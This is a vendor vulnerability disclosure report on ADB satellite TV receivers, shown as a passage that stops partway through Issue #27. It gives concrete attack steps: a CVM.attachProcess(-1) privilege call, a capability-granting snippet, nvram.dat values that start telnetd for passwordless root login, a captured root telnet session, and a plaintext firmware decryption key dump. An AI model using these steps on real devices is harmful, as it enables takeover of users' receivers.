Security Vulnerability Report

SE-2011-01 Issues #5-16,#25-32

[cumulative report]

DISCLAIMER

This report presents information related to security vulnerabilities discovered by Security Explorations in digital satelite TV receivers manufactured by Advanced Digital Broadcast (ADB) company. Below, we provide a brief summary of them as originally reported[1] to the vendor.

[Issue #5 – JavaScript code executed in the context of a privileged Xlet]

Security manager object that is installed by default on ITI5800S, ITI5800SX, ITI2850ST and ITI2849ST devices is implemented by `com.adb.security.SystemSecurityManager` class. A code fragment below presents a sample implementation of its `checkRead` method:

```
public void checkRead(String s) {
  ISecurityFactory isecurityfactory = SecurityFactory.getInstance();
  if (isecurityfactory != null) {
    AppSecurityManager appsecuritymanager =
                       isecurityfactory.getSecurityManager();
    if (appsecuritymanager != null) appsecuritymanager.checkRead(s);
  }
}
```

From the sample code above, one can notice that the actual security check (`checkRead` method call) is forwarded to the `AppSecurityManager` object returned by the instance of `ISecurityFactory` class. The problem stems from the fact that the call to `SecurityFactory.getInstance()` returns `null` value for the Xion application context. Since all security checks included in `SystemSecurityManager` class have the implementation corresponding to the one presented above, no security checks are performed at all for any JavaScript code executed in the context of a Xion web browser (Xion Xlet to be precise).

[Issue #6 – Java domain privilege elevation via CVM.attachProcess call]

By issuing a call to `sun.misc.CVM.attachProcess()` method, one can elevate its privileges in a Java environment of ITI5800S, ITI5800SX, ITI2850ST and ITI2849ST devices. This can be easily accomplished by issuing the folloing code sequence:

```
 CVM.attachProcess(-1);
```

The -1 argument stands for the process PID. This PID value is special as it denotes a privileged Java thread context (the one with all application level privileges).

In order to better understand the implication of the -1 PID, one needs to look into the way security checks are performed in the environment of ADB digital satellite receivers.

Security manager object that is installed by default on ITI5800S, ITI5800SX, ITI2850ST and ITI2849ST devices is implemented by `com.adb.security.SystemSecurityManager`

[1] Issues 25-32 were not reported to Advanced Digital Broadcast - the company stopped responding to Security Explorations' e-mail messages and inquires soon after receiving information about multiple security issues affecting its digital satellite TV receivers.

class. The code fragment below presents a sample implementation of its `checkRead` method:

```
public void checkRead(String s) {
  ISecurityFactory isecurityfactory = SecurityFactory.getInstance();
  if (isecurityfactory != null) {
     AppSecurityManager appsecuritymanager =
                        isecurityfactory.getSecurityManager();
    if (appsecuritymanager != null) appsecuritymanager.checkRead(s);
  }
}
```

From the sample code above, one can notice that the actual security check (`checkRead` method call) is forwarded to the `AppSecurityManager` object returned by the instance of `ISecurityFactory` class. For certain application contexts, the returned `AppSecurityManager` object would be `null` as indicated by Issue 5. However, for other contexts it will be the object instance of `com.adb.security.AppSecurityManager` class.

Certain security sensitive Java domain operations require extra privileges. For example, a call to `checkRead` method of a security manager object is invoked prior to allowing any file read operation.

By inspecting the implementation of `com.adb.security.AppSecurityManager` class, one can understand the implication of the process PID value for the security checks:

```
public void checkRead(String s) {
  int i = MpBase.currentProcess();
  if (i == -1) return;
  if (rootPermissionsGrantor.hasRootPermissions(i)) return;
  String s1 = getFullPath(s, i, false);

  try {
    checkPermission(new FilePermission(s1, "read"));
  } catch(SecurityException securityexception) {

    if (!authenticator.isHashCorrect(s1))
         throw new SecurityException("BAD.HASH");
     else
         throw securityexception;
 }
 ...
```

From the code fragment above, it can be clearly seen that no security manager check is performed if file access is done in the context of PID -1. In such a case, the caller is assumed to be fully trusted.

[Issue #7 – insecure local interfaces providing read/write root access to file system]

There is a security vulnerability in the implementation of the `/root/root.elf` binary available on ITI5800S and ITI5800SX devices. This binary is spawned by default from `/etc/init.d/rcS` script upon system startup as illustrated below:

```
if [ -x /root/root.elf ]; then /root/root.elf; fi &
```

The problem with `root.elf` binary stems from the fact that:

- it is run as a daemon process,
- it is run with the privileges of a root user,
- it provides file system functionality via the named pipes interface (`/var/run/root_pipe_read` and `/var/run/root_pipe_write`).

The file system functionality serviced by the `root.elf` process implements the following functions:

```
 private static final int CMD_OPEN  = 0x01;
 private static final int CMD_CLOSE = 0x02;
 private static final int CMD_READ  = 0x03;
 private static final int CMD_WRITE = 0x04;
 private static final int CMD_IOCTL = 0x05;
 private static final int CMD_LSEEK = 0x06;
```

The protocol used to invoke a given function call is message based - a client attached to one pipe endpoint (`/var/run/root_pipe_read`) sends message requests to the `root.elf` process and reads results on the other pipe endpoint (`/var/run/root_pipe_write`). The problem with the protocol used is caused by the fact that it does not implement any security at all. As a result, any process in the system can make use of the privileged file system access by the means of a simple messages exchange with the `root.elf` process.

The described issue becomes even more serious if a target process is run in the *chroot sandbox*. If such a process has opened descriptors to the named pipes of the `root.elf` process, these descriptors can be used by the attacker to escape the *chroot sandbox* and access files beyond the configured secure environment. We have successfully verified that this is the case for ITI5800S and ITI5800SX devices as the `main.elf` process has such descriptors open. This is illustrated by the snapshot from our Proof of Concept code in Appendix A.

[Issue #8 – insecure local process environment (chroot sandbox)]

There is a security vulnerability in the implementation of a `/root/main.elf` binary available on ITI5800 and ITI5800SX devices. This binary is spawned by default from `/etc/init.d/rcS` script upon system startup. It implements the main functionality of a set-top-box application such as GUI and MHP/OCAP middleware. The `main.elf` process is also responsible for setting up the OS sandbox comprising of a chrooted file system environment and unprivileged user id credentials. There is however a problem in the implementation of the aforementioned sandbox as `/dev/kmem` file descriptor is left open in the environment of a target sandboxed process. We have successfully verified that this is the case for ITI5800S and ITI5800SX devices where the `main.elf` process has such a descriptor open. This is illustrated by the snapshot from our Proof of Concept code in Appendix A.

We have also verified that `/dev/kmem` file descriptor is open with read and write access in the environment of the aforementioned devices.

Access to `/dev/kmem` device poses serious security risk to the security of a target OS. Attackers, might use open `/dev/kmem` file descriptor to gain full access to the virtual memory space of a target OS. This in particular, allows for the:

- access to restricted I/O functionality such as the one implemented by the GSECHAL device driver,
- privilege elevation to user root and *chroot sandbox* escape,
- execution of attacker's code in the kernel context.

Security Explorations' Proof of Concept code successfully implements all of the three attack scenarios mentioned above in the environment of ITI5800S and ITI5800SX devices.

[Issue #9 – insecure local process environment]

There is a security vulnerability in the implementation of the `/dev/grantcap` device available on ITI2850ST and ITI2849ST devices. This device implements IOCTL code `0x40046301`, which allows for the modification of capabilities sets for the current process. This functionality is illustrated by the code fragment below:

```
.text:000000E0  mov.l   @(h'68,pc), r0 ; [0000014C] = find_task_by_pid_type
.text:000000E2  add     #-h'2C, r10
.text:000000E4  mov.l   @(h'30,r10), r13 ; new cap
.text:000000E6  mov     #0, r4
.text:000000E8  mov.l   @(h'2C,r10), r5 ; tid
.text:000000EA  jsr     @r0
.text:000000EC  mov     #-1, r11
.text:000000EE  tst     r0, r0
.text:000000F0  bt/s    loc_C0          ; -> error
.text:000000F2  mov     r0, r12         ; task struct
.text:000000F4  mov     r0, r4
.text:000000F6  mov.l   @(h'58,pc), r0 ; [00000150] = cap_capget
.text:000000F8  mov     r14, r9
.text:000000FA  mov     r14, r8
.text:000000FC  add     #h'10, r9
.text:000000FE  mov     r14, r6
.text:00000100  add     #8, r8
.text:00000102  mov     r9, r5          ; effective caps
.text:00000104  mov     r8, r7          ; permitted caps
.text:00000106  jsr     @r0
.text:00000108  add     #h'C, r6        ; inheritable caps
.text:0000010A  mov.l   @(h'3C,r10), r1 ; effective caps
.text:0000010C  mov     r14, r6
.text:0000010E  mov.l   @(h'34,r10), r2 ; permitted cap
.text:00000110  mov     r0, r11
```

```
.text:00000112  mov     r12, r4         ; task struct
.text:00000114  mov     r9, r5
.text:00000116  or      r13, r1         ; set new effective caps
.text:00000118  mov.l   r1, @(h'3C,r10)
.text:0000011A  mov.l   @(h'38,pc), r1 ; [00000154] = cap_capset_set
.text:0000011C  or      r2, r13         ; set new permitted caps
.text:0000011E  add     #h'C, r6
.text:00000120  mov.l   r13, @(h'34,r10)
.text:00000122  jsr     @r1
.text:00000124  mov     r8, r7
```

The problem with the above implementation stems from the fact that there are no security checks performed by the `grantcap.ko` device driver with respect to the privileges of a process requesting the change of capabilities operation.

According to the ownership configuration of the `/dev/grantcap` device, access to it is possible for user root and for the root group:

```
box> ls /dev/grantcap
crw-rw----      root    root    /dev/grantcap
```

However, inspection of the `/etc/group` file reveals that the user of the main MHP application in particular (stb) is also part of the root group:

```
box> cat /etc/group
root::0:root,stb
bin::1:root,bin,daemon
daemon::2:root,bin,daemon
sys::3:root,bin,adm
adm::4:root,adm,daemon
tty::5:
storage::6:root,uapp01,stb
snmpd::7:snmpd
mem::8:
kmem::9:
stb::10:root,uapp01,stb
ftp::50:
lock::54:
nobody::99:
users::100:
rpcuser:x:29:
nfsnobody:x:65534:
utmp:x:22:
uapp01:x:13:
netd:x:14:root,uapp01
sshusr:x:800:
```

This makes it possible for any Java thread spawned in the main MHP application environment to access `/dev/grantcap` device and to change the system credentials of the corresponding native process.

Security Explorations implemented credential granting functionality in its Proof of Concept code as illustrated below:

```
 public static void grantcaps(int caps) {
   int handle=Dl.open_flags("libstd_drv_grantcap.so",
                            Dl.RTLD_NOW|Dl.RTLD_NODELETE);

   if (handle!=0) {
     int capset=Dl.getsym(handle,"GRANTCAP_Set");
     if (capset!=0) {
        NativeCode.getInstance().invoke(capset,caps,0,0,0,0,0,0,0);
     }
   }
 }
```

The ability to change target process capabilities has a straightforward implication on a security of a target OS - it allows easy privilege elevation attack to user root.

[Issue #10 – no password for root user account]

There is a security vulnerability in the configuraion of ITI2850ST and ITI2849ST devices. We found out that on these devices, the account of a root user does not have a password configured for it:

```
c:\_PROJECTS\DTV\>shell
# NBOX HDTV client for ITI 5800S, ITI 5800SX, ITI 2850ST, ITI2849ST
# (c) SECURITY EXPLORATIONS    2011 poland
box> go 1
box> cat /etc/passwd
root::0:0:root:/root:/bin/sh
bin:*:1:1:bin:/bin:/dev/null
daemon:*:2:2:daemon:/sbin:/dev/null
adm:*:3:4:adm:/var/tmp:/dev/null
snmpd:*:7:7::/opt/snmpd:/dev/null
ftp:*:14:50:FTP User:/var/tmp:/dev/null
nobody:*:99:99:Nobody:/:/dev/null
rpcuser:x:29:29:RPC Service User:/var/tmp:/dev/null
nfsnobody:x:65534:65534:Anonymous NFS User:/var/tmp:/dev/null
uapp01:*:13:13::/opt/uapp01/home: /dev/null
sshusr:*:800:800::/home/sshusr:/bin/sh
stb::555:10:stb:/home/stb:/bin/sh
```

In order to make use of a shell access to passwordless root account, one needs to make use of a login service such as *telnetd*. Unfortunately, *telnetd* service is disabled by default on both ITI2850ST and ITI2849ST devices. Additionally, these devices have *iptables* rules configured that block inbound traffic to the *telnetd* port (23). However, when combined with security Issue 11, the described vulnerability can be used to gain login access to the root shell on a target device.

[Issue #11 – arbitrary device reconfiguration via environment variables]

There is a security vulnerability in the implementation of startup scripts used by ITI2850ST and ITI2849ST devices. We found out that they rely on environment variables that control such a functionality as:

- NAND factory reset,
- partition mounting,
- network configuration (including loading of *iptables* rules),
- starting of a *telnetd* service.

Actual reconfiguration changes are possible because the file, which holds certain environment variables definition is available for writing to the user of the MHP application process:

```
box> ls /mnt/flash/
[/mnt/flash/]
drwxrwxrwx      root    root     app
-rw-rw----      stb     stb      nvram.dat                             121
drwxrwx---      stb     stb      secure
```

Since, `nvram.dat` file is owned by stb user, all Java threads spawned in the environment of the main MHP application can change the aforementioned file.

Issues 10 and 11 can be successfully combined together in order to start *telnetd* service and to disable the loading of *iptables* rules. By investigating the contents of the `/etc/init.d/rcS` file, one can find a way to ho to achieve it.

The following line can be found in the beginning of the `/etc/init.d/rcS` file, which is executed upon system startup:

```
. /etc/.profile
```

This line results in the execution of the `/etc/.profile` shell script file. The contents of this file is presented below:

```
box> cat /etc/.profile
export MAC=`/sbin/ifconfig eth0 |sed -n -r '/..:..:..:..:..:../p' |cut -b
39- |sed s/://g |sed '/^$/d; s/^[ ]*//g; s/[ ]*$//g'`
export NFS_PROJECT_PATH=ITI-2850ST
export PIL_DEBUG_DEVICE=/dev/ttyAS0
export BUILD_VERSION="P8_R03_RC3-711-rel-888982"
echo ">>> BUILD_VERSION: $BUILD_VERSION <<<<<<<<<<"
export BOOT_NET_SECURED=1
export BOOT_NET_IPTABLES=1
export BOOT_DHCP_START=1
export BOOT_AUTOIP_START=1
export BOOT_NFS_MOUNT=0
export BOOT_NFS_REMOTE=
export BOOT_TELNETD_START=0
export BOOT_MODULE_LOAD_REMOVE=0
export BOOT_SPLASH_SHOW=""
export BOOT_NAND_FACTORY_RESET=1
export BOOT_MOUNT_APP_STORAGE=1
export GSECHAL_IOCTL_DEV_PATH=/tmp/gsechal_core
export STTKDMA_IOCTL_DEV_PATH=/tmp/sttkdma_ioctl
export STDRMCRYPTO_IOCTL_DEV_PATH=/tmp/stdrmcrypto_ioctl
export STSECTOOLFUSE_IOCTL_DEV_PATH=/tmp/stsectoolfuse_ioctl
export VLAN_IPTV_IF=eth0.253
export VLAN_INET_IF=eth0.251
export KERNEL_PANIC_TIMEOUT=1
export WIRELESS_SUPPORT=0
export NET_STATIC_IP=0.0.0.0
export PPP_SUPPORT=1
export NVRAM_DAT_FILE=/mnt/flash/nvram.dat
if [ -r $NVRAM_DAT_FILE ]; then while read name value; do
  if [ $name ]; then
    name_len=`expr length $name`;
    all_char_alphanumeric=`expr $name : "[_[:alnum:]]\{$name_len\}"`;
    first_char_alphabetic=`expr $name : "[_[:alpha:]]"`;
    if [ $all_char_alphanumeric -ne 0 ] && [ $first_char_alphabetic -ne 0
]; then
      export $name=$value;
    else
      echo "WARNING skipping export of $name";
    fi
  fi
done < $NVRAM_DAT_FILE;
fi
export MEMORY_OVERCOMMIT_POLICY=2
export MEMORY_OVERCOMMIT_RATIO=97
export MODEM_TYPE=`/etc/modem-detect`
export PPP_COUNTRY=Poland
```

Upon execution of `/etc/.profile`, certain configurtion environment variables are being set to default manufacturer values. Additionally, the contents of the `/mnt/flash/nvram.dat` file is processed and the values of environment variables defined in it are being set.

In order to enable *telnetd* and disable *iptables* rules one just needs to define the following two variables in the `/mnt/flash/nvram.dat` file:

```
BOOT_NET_SECURED 0
BOOT_TELNETD_START 1
```

These variables are used by `/etc/init.d/rcS` script to control the configuration of *iptables* and *telnetd* services as denoted by code fragments below:

```
if [ "$BOOT_NET_SECURED" = "1" ] ; then
    if [ -d /proc/sys/net ] ; then
        # disable IP forwarding
        echo 0 > /proc/sys/net/ipv4/ip_forward
        # ignore echo messages
        echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
        # ignore echo broadcasts
        echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_broadcasts
        # disable source routing

        for f in /proc/sys/net/ipv4/conf/*/accept_source_route; do
            echo 0 > $f
        done

        # ignore redirects
        for f in /proc/sys/net/ipv4/conf/*/accept_redirects; do
            echo 0 > $f
        done

        for f in /proc/sys/net/ipv4/conf/*/secure_redirects; do
            echo 0 > $f
        done

        # validate the source
        for f in /proc/sys/net/ipv4/conf/*/rp_filter; do
            echo 1 > $f
        done

        # ignore invalid error messages
        echo 1 > /proc/sys/net/ipv4/icmp_ignore_bogus_error_responses
    else
        echo "WARNING: Unable to apply network configuration - enable /proc
& sys-ctl in the kernel"
    fi

    if [ "$BOOT_NET_IPTABLES" = "1" ] ; then
        # apply iptables rules
        /sbin/iptables-restore /etc/iptables.sav
    fi
else
    echo "WARNING: The STB network interfaces may be insecured !"
fi
...

if [ "$BOOT_TELNETD_START" = "1" ] ; then
   telnetd
fi
```

In a result of adding proper `BOOT_NET_SECURED` and `BOOT_TELNETD_START` environment variables to `/mnt/flash/nvram.dat` file and after system reboot, `/etc/.profile` will insert new variables into the environment and `/etc/init.d/rcS` will skip the configuration of *iptables* and spawn *telnetd* service. This is sufficient to make use of the passwordless root user account and gain shell access to the target device:

```
root@n:/# telnet 10.0.0.6
Trying 10.0.0.6...
Connected to 10.0.0.6.
Escape character is '^]'.
```

```
10.0.0.6 login: root

BusyBox v1.2.2 (ADB 1.2.20) (2011.09.28-08:38+0000) Built-in shell (ash)
Enter 'help' for a list of built-in commands.



>>> BUILD_VERSION: P8_R03_RC3-711-rel-888982 <<<<<<<<<<
# pwd
/root
# cat /mnt/flash/nvram.dat
BOOT_NET_SECURED 0
BOOT_TELNETD_START 1
FACTORY_RESET 0x00
STB_SIGNAL_SOURCE 0
BOOT_SPLASH_SHOW 1
# exit
```

[Issue #12 – CAP_NET_ADMIN and CAP_NET_RAW in MHP process capabilities set]

There is a security vulnerability in the implementation of the MHP process security sandbox of ITI2850ST and ITI2849ST devices. More specifically, we found out that both `CAP_NET_ADMIN` and `CAP_NET_RAW` capabilities are enabled in the capabilities set of a main MHP process.

Both capabilities are usually associated with the functionality of a root user. Out of these two, `CAP_NET_RAW` is in particular interesting as it allows for the use of use of RAW / PACKET sockets.

Security Explorations successfully demonstrated that arbitrary Java thread executing in the context of a main MHP application can completely disable and flush all *iptables* rules. We accomplished that by creating a raw socket for `IPPROTO_RAW` protocol and setting properly constructed `IPT_SO_SET_REPLACE` socket option on it.

[Issue #13 – Xion URI handlers evaluation flaw]

There is a security vulnerability in the implementation of a Xion web browser. More specifically, we found out some inconsistency pertaining to the way URI handlers are evaluated by it.

In Xion, arbitrary URI loading is handled by the `com.adb.dvbhtml.dom.environment.WindowImpl` class and its `loadDocument` method:

```
protected boolean loadDocument(URI uri, boolean flag) {
  if (isRecursiveChain(uri)) {
    uri = BLANK_URI;
    flag = false;
  }
  System.out.println("------------- opening document in " +
                         getName() + " window from uri " + uri);
  if (null != document) cleanUp();
  document = (DVBHTMLDocumentImpl)impl.createDocument(null, "html",
                                                             null);
  document.referrer = referrer;
  referrer = null;
  createInternalStructure();
  document.ownerWindow = this;
  if (executeURIHandlers(uri)) return false;
  ...
}
```

This method invokes `executeURIHandlers` method in order to handle certain special URI schemes such as `exit`, `history` and `about`. This method also checks if a given URI should be handled by one of registered Xion URI Plugins.

There exists an inconsistency regarding allowed `<http-client>` schemes configured in the `/lib/xion-properties.xml` file and actually permitted schemes. Even if the `<http-client>` property allows only for the `https` scheme, it is still possible to use the `http` scheme in order to fetch arbitrary content from unrusted websites. This is possible because URI handling may be conducted by the URI plugin handler (the subclass of `com.adb.dvbhtml.URIHandlerPlugin` class and its `handleURI` method), instead of the usual Xion document loading mechanism (`parseDocument` method of `com.adb.dvbhtml.dom.DVBHTMLDocumentImpl` class).

The described weakness can be exploited with the use of any of the Xion plugins configured in the `/lib/xion-properties.xml` file:

```
<plugins>
  <!-- special uris handlers -->
  <plug class = "tv.osmosys.dvbhtml.DVBHandlerPlugin" />
  <plug class = "tv.osmosys.application.handlers.AITHandler" />
  <plug class = "tv.osmosys.xion.ext.videompeg.XionVideoMp4Plugin" />
  <plug class = "tv.osmosys.xion.ext.iti.plugins.YTSplash"
              splash_sd="/resources/youtubetextsd.mpg"
              splash_hd="/resources/youtubetexthd.mpg"  />
</plugins>
```

Security Explorations successfully verified that `AITHandler` can be used to fetch content with the use of `http` scheme even if it is not included in the list of schemes of `<http-client>` configuration property.

[Issue #14 – Xion browser configuration file replacement]

There is a security vulnerability in the implementation of a Xion web browser. We found out that arbitrary user processes can create alternative `xion-properties.xml` file that will be loaded upon browser startup, instead of a default system configuration located in a `/lib` directory.

The problem has its origin in the `com.adb.xion.Bootstrap` class and its `findConfigFile` method:

```
static File findConfigFile() {
  Vector vector = new Vector();
  vector.add(PlatformProvider.getSystem().getAppStorageRoot());

  for(int i=0;i<DEFAULT_CFG_SEARCH_PATH.length;i++)
    vector.add(DEFAULT_CFG_SEARCH_PATH[i]);

  vector.add(PlatformProvider.getEnviroment().getProperty("user.dir"));
  if (PlatformProvider.getEnviroment().getProperty(
                                        "com.adb.xion.cfgpath")!=null) {
    for(StringTokenizer st=new StringTokenizer(
                             PlatformProvider.getEnviroment().getProperty(
                             "com.adb.xion.cfgpath"),",");
      st.hasMoreElements();vector.addElement(st.nextToken()));
    }



    String s=System.getProperty("com.adb.xion.cfgpath",
                                "xion-properties.xml");

    for(int j=0;j<vector.size();j++) {
      String s1=vector.elementAt(j).toString()+"/"+s;
      File file=new File(s1);
      if (file.exists()&&!file.isDirectory()) return file;
    }
  }

  return null;
}
```

The method above return an instance of the `File` object denoting the location of the first Xion configuration file identified by the `xion-properties.xml` name. For that purpose it checks different file system locations. One of the first locations that is inspected points to the directory returned by the `PlatformProvider.getSystem().getAppStorageRoot()` expression. By looking into the implementation of `com.adb.xion.platform.SystemImpl` class, one can discover the following:

```
public String getAppStorageRoot() {
  return "/flash";
}
```

The above implementation means that by placing the location of a `xion-properties.xml` file in a `/flash` directory, one can enforce loading of arbitrary Xion browser configuration from user provided file instead of a system one. This is caused by the fact that default system configuration is checked after the user one.

The impact of the described issue is quite serious. Security Explorations verified that by replacing the Xion configuration file, attackers can:

- enable forbidden URI schemes,
- disable `https` authentication checks,
- persistently install malware code in a target system.

[Issue #15 – insecure definition of a system class loader's classpath]

There is a security vulnerability in the JVM configuration used by ITI5800S, ITI5800SX, ITI2850ST and ITI2849ST devices. We found out that system class loader's classpath contains `/` root directory. Such a classpath configuration has serious implications to security as it allows for the injection of:

- user provided classes deployed in a `/flash` directory into system class loader's namespace,
- user provided classes fetched over the IC HTTP transport into system class loader's namespace.

Security Explorations used a combination of Issue 14 and Issue 15 to successfully install persistent malware code on a target ADB device.

[Issue #16 – unsigned Xlet execution flaw]

There is a security vulnerability in the MHP software implementation of ITI5800S, ITI5800SX, ITI2850ST and ITI2849ST devices. More specifically, we found a way to execute unsigned applications carried in a specially crafted Application Information Table. In our attack, the AIT table describing the Xlet to execute is denoted explicitly by the URI ending with the `.ait` extension (AIT URI). Such an extension is handled by the special URI handler denoted in the Xion browser configuration file - `tv.osmosys.application.handlers.AITHandler` class in this case.

In a result of opening the AIT URI by the Xion web browser, the target AIT file is fetched and parsed by the instance of `tv.osmosys.application.providers.NetBinParser` class. This file has the same syntax as the Application Information Section (`table_id` 0x74) described in MHP 1.1.x specification. For the purpose of a successfull attack scenario we used the AIT file with the following properties:

```
application_type         = 0x01   (APP_DVB_J)
service_bound_flag       = 0      (app not bound to any service)
visibility               = 0      (app not visible)
application_priority     = 0xff   (maximum priority)
application_control_code = 0x01   (AUTOSTART)
app_id                   = 0x4000 (app_id from unsigned app range)
transport protocol_id    = 0x03   (transport via HTTP over IC)
```

Upon successfull parsing of tha AIT file, new instance of `tv.osmosys.application.XletApp` class is created by the `AppManager` and an attempt is made to mount the URI for the IC protocol in a target system. Successfully mounted protocols are identified by a mountpoint. In the environment of ITI5800S, ITI5800SX, ITI2850ST and ITI2849ST devices, these mountpoints always start in `/oc/htX` directory, where `X` is the number of a conducted mount operation. What's important to remember is that `X` gets incremented after each mount operation.

Prior to the Xlet application loading, new instance of `com.adb.java.lang.FileClassLoader` object is created with a classpath denoting the directory where Xlet's IC URI was mounted. Then a call to `loadClass` method is invoked for the created class loader and with the name of a target Xlet class to load.

Implementation of the `loadClass` method of `FileClassLoader` class first asks the system class loader for a target class to load. If not found, it tries to load the class on its own from the file system. However, prior to the actual call to `defineClass` method, digital signature of a to be loaded class' bytes is verified. If it turns out not to be trusted, no class is loaded into JVM and the Xlet application is immediately terminted as illustrated in the code below:

```
protected Class readFromFile(File file, boolean flag, String s) throws
IOException, SecurityException {

   ReadFromFilePrivilegedAction readfromfileprivilegedaction = new
                                         ReadFromFilePrivilegedAction(file);

   String s1 =
   (String)SecurityFactory.doNoSecurityCheck(readfromfileprivilegedaction);

   if (s1 == null) throw new FileNotFoundException(file.toString());
   if (!canLoadObject(MpBase.currentProcess(), s1,
                      readfromfileprivilegedaction.getBytes(), flag)) {
        throw new SecurityException("Object " + s1 + " is not authenticated
                                   to load")
   } else {
     byte abyte0[] = readfromfileprivilegedaction.getBytes();
     return super.defineClass(s, abyte0, 0, abyte0.length,
                             defaultProtectionDomain);
   }
}
```

The check for a digital signature does not need to take place in order to successfully load arbitrary Xlet application into Java VM. One can make use of the fact that a call to `findSystemClass` is performed earlier and that IC mountpoints are quite predictable. If the Xlet application is defined in the `oc.htX package`, a call to `loadClass` would delegate class loading to the system class loader first. Because of Issue 15, system class loader would traverse directory `/oc/htX` for the search of a target class. A mountpoint located at `/oc/htX` would result in a download of a target class bytes from the IC URI. Downloaded class bytes would be used for the `defineClass` method call and a valid class instance would be returned by the `FileClassLoader`. All of the described actions would happen prior to any digital signature checks.

Arbitrary execution of user provided Java code is just the matter of a proper implementation of the target Xlet's constructor.

There is one obstacle related to the guessing of a target `oc.htX` mountpoint (and the package of attacker's Xlet application). An analysis of the consecutive numbers used by the system for the mountpoint names allowed us to conduct reliable guesses of them. We simply try to invoke many Xlet applications with properly selected `oc.htX` package names, so that proper `/oc/htX` mountpoint would be hit by the system class loader during its search for the target class.

Security Explorations developed a small utility for generating arbitrary AIT files that successfully exploit the described unsigned Xlet execution flaw. Upon opening the target AIT file in the Xion web browser, attacker provided class file is loaded from arbitrary URL and it gets executed (its `<init>` method is called).

At the end, we would also like to mention that the described vulnerability can potentially be used by rogue digital satellite TV operators to execute code on the equipment of the users watching the broadcasted programming with embedded, potentially malicious AIT applications.

[Issue #25 – shared open files descriptors]

There are open descriptors to `/dev/mtd0` and `/dev/mtd1` in the main MHP process that could be abused by attackers to access the flash memory. The descriptors are open in 0x02 mode (O_RDWR), which allows for both read and write operations. This could be used to overwrite the flash memory of a target device.

Issue #25 is similar to Issue #8, however it does signal a much bigger problem related to the security architecture of a taget set-top-box system.

There are LinuxThreads used to implement target threads executed in the context of a single MHP process. LinuxThreads have a number of problems, mainly owing to the implementation, which use the clone system call to create a new process sharing the parent's address space [1]. Beside sharing the whole address space (code, data and heap segments), POSIX.1 also requires that threads share a range of other attributes such as open file descriptors [2].

What this means is that by breaking security of a single thread, attackers can get access to all resources (i.e. memory, open file descriptors) of all other threads (including those more privileged) of the MHP application.

[Issue #26 – plaintext upgrade decryption key available in MPEG stream]

For ITI5800S and ITI5800SX, the upgrade image sent as part of dedicated MPEG streams (indicated by the SSU data) is encrypted with the use of a tweaked Twofish algorithm and a 128-bit decryption key. The problem with the implementation of the upgrade uploading mechanism implemented in ITI5800S and ITI5800SX devices stems from the fact that the decryption key is sent in plaintext among the data for the upgrade image. The key is carried inside a WLDO section as illustrated by the sample MPEG dump below:

```
size: 000000b6
       0000:  80 f0 b3 12 34 ff 00 00 00 00 57 4c 44 4f b2 b0  ....4.....WLDO..
       0010:  00 1b 45 1f 48 65 72 6d 65 73 35 38 30 30 73 20  ..E.Hermes5800s.
       0020:  5b 42 32 2e 42 30 2e 34 35 5d 20 44 6f 77 6e 6c  [B2.B0.45].Downl
       0030:  6f 61 64 00 8a 00 11 00 39 18 44 26 54 3a 20 32  oad.....9.D&T:.2
       0040:  30 30 39 2d 31 32 2d 31 31 20 31 32 3a 32 37 3a  009-12-11.12:27:
       0050:  31 33 1f 48 65 72 6d 65 73 35 38 30 30 73 20 5b  13.Hermes5800s.[
       0060:  42 32 2e 42 30 2e 34 35 5d 20 44 6f 77 6e 6c 6f  B2.B0.45].Downlo
       0070:  61 64 00 3e 1e 15 4a d5 2d 7f 6d eb ad c8 33 25  ad.>..J.-.m...3%
       0080:  1d ed ae db 64 ac c1 e1 75 85 2c e3 32 57 29 9c  ....d...u.,.2W).
       0090:  32 a1 e4 1e 85 47 6d da 77 99 20 3a 2d f0 9f c0  2....Gm.w..:-...
       00a0:  dc 52 fc ad 3c 43 a7 dd d3 d7 46 a2 1c ad 8d ac  .R..<C....F.....
       00b0:  2a c0 51 15 08 e8  *.Q...
```

First, there is a magic WLDO string:

```
57 4c 44 4f "WLDO" magic
```

It is followed by the information about a hardware and vendor id of the upgrade image:

```
b2 b0 hwid
00 1b 45 vendor id
```

Next, we have a length and some string description of the upgrade image:

```
1f len
48 65 72 6d 65 73 35 38 30 30 73 20
5b 42 32 2e 42 30 2e 34 35 5d 20 44 6f 77 6e 6c  Hermes5800s [B2.B0.45] Download
6f 61 64
```

It is followed by the information about a total MPEG sections count of the upgrade image:

```
00 8a section count ?
00 11 loader section count ?
00 39
```

Later, there is a length and some string description for the date and time of the upgrade image:

```
18 size
44 26 54 3a 20 32  oad.....9.
30 30 39 2d 31 32 2d 31 31 20 31 32 3a 32 37 3a  D&T: 2009-12-11.12:27:13.
31 33
```

Next, we again have a length and some string description of the upgrade image:

```
1f size
48 65 72 6d 65 73 35 38 30 30 73 20 5b  Hermes5800s.[B2.B0.45].Download
42 32 2e 42 30 2e 34 35 5d 20 44 6f 77 6e 6c 6f
61 64
```

Finally, we have a fragment that carries both the length and a decryption key for the upgrade image. All in plaintext.

```
00 3e key size
1e 15 4a d5 2d 7f 6d eb ad c8 33 25  ad.>..J.-.m...3%
1d ed ae db 64 ac c1 e1 75 85 2c e3 32 57 29 9c  ....d...u.,.2W).
32 a1 e4 1e 85 47 6d da 77 99 20 3a 2d f0 9f c0  2....Gm.w..:-...
dc 52 fc ad 3c 43 a7 dd d3 d7 46 a2 1c ad 8d ac  .R..<C....F.....
2a c0 51 15 08 e8  *.Q...
```

Security Explorations verified that the key data carried in WLDO sections can be successfully used to decrypt the encrypted upgrade image data sent to ITI5800S and ITI5800SX devices. We were able to obtain plaintext Compressed ROMFS images, which could be mounted later under the Linux OS.

[Issue #27 – crippled security manager implementation]

There is a problem related to the implementatin of the custom security manager for the Java environment. The class `com.adb.security. AppSecurityManager` holds a private field `rootPermissionsGrantor` which contains a reference to the object of `com.adb.security. RootPermissionGrantor` class. This reference is initialised in the following way:

```
    public AppSecurityManager(IAuthenticator iauthenticator,
                              IPermissionsProvider ipermissionsprovider,
                              IRootCertificatesManager irootcertmgr,
                              String as[]) {
        extPackageDefinition = null;
        instanceCounter++;
        permProvider = ipermissionsprovider;
        authenticator = iauthenticator;
        rootPermissionsGrantor = RootPermissionGrantor.getInstance();
```

The above indicates that a static call to `getInstance` method of `com.adb.security.RootPermissionGrantor` class is used to initialize aforementioned `rootPermissionsGrantor` field.

A quick look at the implementation of `com.adb.security.RootPermissionGrantor` class reveals the following:

```
   public static IRootPermissionsGrantor getInstance() {
      return m_instance;
   }
```

